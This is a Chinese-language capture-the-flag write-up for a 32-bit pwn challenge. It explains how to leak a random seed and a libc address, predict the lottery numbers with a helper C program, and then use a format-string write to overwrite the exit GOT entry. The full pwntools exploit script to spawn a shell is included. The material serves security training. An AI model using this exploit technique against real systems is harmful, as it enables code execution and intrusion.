printf的题是连着了,刚作完一上又一个
先看保护:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8047000)
加载地址是固定的,不用泄露,got表可写
再看看程序:
stream = fopen("/dev/urandom", "rb");
fread(&ptr, 4u, 1u, stream);
fclose(stream);
srand(ptr); //读4字节随机数作随机数种子,因为紧临buf可以被带出
printf("\nWho are you? ");
read(0, buf, 0x64u);
printf("\nHello~ %s\n", buf); // 可以带出buf
for ( dword_804A05C = 0; dword_804A05C <= 5; ++dword_804A05C )
{
LABEL_6:
dword_804A058 = rand() % 45 + 1;
for ( dword_804A054 = 0; dword_804A05C - 1 >= dword_804A054; ++dword_804A054 )
{
if ( v4[dword_804A054] == dword_804A058 )
goto LABEL_6;
}
v4[dword_804A05C] = dword_804A058; //生成6个随机数
}
sub_804867B(v3); // 读入6个数与随机数比较
result = sub_804871B(v3, v4);
if ( result )
{
printf("Congratulation, ");
printf(buf); //调用printf
puts("You Win!!\n");
exit(0); //在定得作个循环回去
}
程序分析:
- 先读4字节作为随机数种子,这个与buf紧邻又是read读入可以被带出,顺便后边的libc也被带出
- 用种子生成6个随机数,然后读入6个数比较。过了这个冒才有printf漏洞
- 用exit(0)退出,在这需要弄个循环,因为一步完不成。
先要弄个小程序,输入种子按原程序的方法生成随机数(除了scanf外都是复制过来,尽量避免不同)
#include <stdio.h>
#include <stdlib.h>
int main()
{
int v4[6];
int i,j,k;
unsigned int ptr;
puts("Input seed :");
scanf("%d", &ptr);
for(i=0;i<6;i++)v4[i]=0;
srand(ptr);
for(i=0;i<6;++i)
{
LABEL6:
k = rand()%45+1;
for(j=0;j<=i-1;++j)
if(v4[j] == k)goto LABEL6;
v4[i]=k;
}
for(i=0;i<6;i++)printf("%d,",v4[i]);
return 0;
}
步骤:
- 输入AAAA-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x 计算偏移
- payload要输满100位,带出seed,libc
- 调用小程序输入seed获得6个随机数
- 输入随机数,成功运行printf
- 从1重来,payload=fmtstr_payload(17, {elf.got['exit'] : main}) 这回运行让它循环回来
- payload = fmtstr_payload(17, {elf.got['exit']: one_gadget}) 调用one_gadget得到shell
完整exp:
from pwn import *
local = 0
if local == 1:
p = process('./pwn')
libc_elf = ELF("/home/shi/libc6-i386_2.23-0ubuntu11.3/libc-2.23.so")
one = [0x3a81c,0x3a81e,0x3a822,0x3a829,0x5f075,0x5f076]
offset_main_ret = 0x18647
else:
p = remote('node4.buuoj.cn', 26373)
libc_elf = ELF('../libc6-i386_2.23-0ubuntu10_amd64.so')
one = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
offset_main_ret = 0x18637
elf = ELF('./pwn')
context(arch='i386', log_level='debug')
#gdb.attach(p, 'b*0x804892e')
#pause()
#payload = b'AAAA-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x'
#AAAA-ffece45c-0-804888b-f7fada74-8-a-10-14-19-f-8-a-10-14-19-f-41414141-2d78252d
offset = 17
main = 0x804878c
payload = fmtstr_payload(17, {elf.got['exit'] : main})
p.sendafter(b"\nWho are you? ", payload.ljust(99, b'A')+b'|')
p.recvuntil(b'|')
seed = u32(p.recv(4))
print('seed:', seed, hex(seed))
#seed ->rand
tmpp = process('./a.out')
tmpp.sendlineafter(b':\n', str(seed).encode())
rnd = [0,0,0,0,0,0]
for i in range(6):
rnd[i] = int(tmpp.recvuntil(b',', drop=True))
print(rnd[i])
tmpp.close()
libc_base = u32(p.recv(8)[4:]) - (0xf7fa53dc - 0xf7df5000)
print('libc:', hex(libc_base))
p.recvuntil(b'==> ')
for i in range(6):
p.sendline(str(rnd[i]).encode())
#p.sendlineafter(b"Congratulation, ", )
p.recvuntil(b"You Win!!\n\n")
# back top
one_gadget = libc_base + one[5]
payload = fmtstr_payload(17, {elf.got['exit'] : one_gadget})
p.sendafter(b"\nWho are you? ", payload.ljust(99, b'A')+b'|')
p.recvuntil(b'|')
seed = u32(p.recv(4))
print('seed:', seed, hex(seed))
#seed ->rand
tmpp = process('./a.out')
tmpp.sendlineafter(b':\n', str(seed).encode())
rnd = [0,0,0,0,0,0]
for i in range(6):
rnd[i] = int(tmpp.recvuntil(b',', drop=True))
print(rnd[i])
tmpp.close()
libc_base = u32(p.recv(8)[4:]) - (0xf7fa53dc - 0xf7df5000)
print('libc:', hex(libc_base))
p.recvuntil(b'==> ')
for i in range(6):
p.sendline(str(rnd[i]).encode())
p.recvuntil(b"You Win!!\n\n")
p.sendline(b'cat /flag')
p.interactive()
程序后边复制的前边,用函数会变短,但不如复制效率高,都高程序员爱划水:)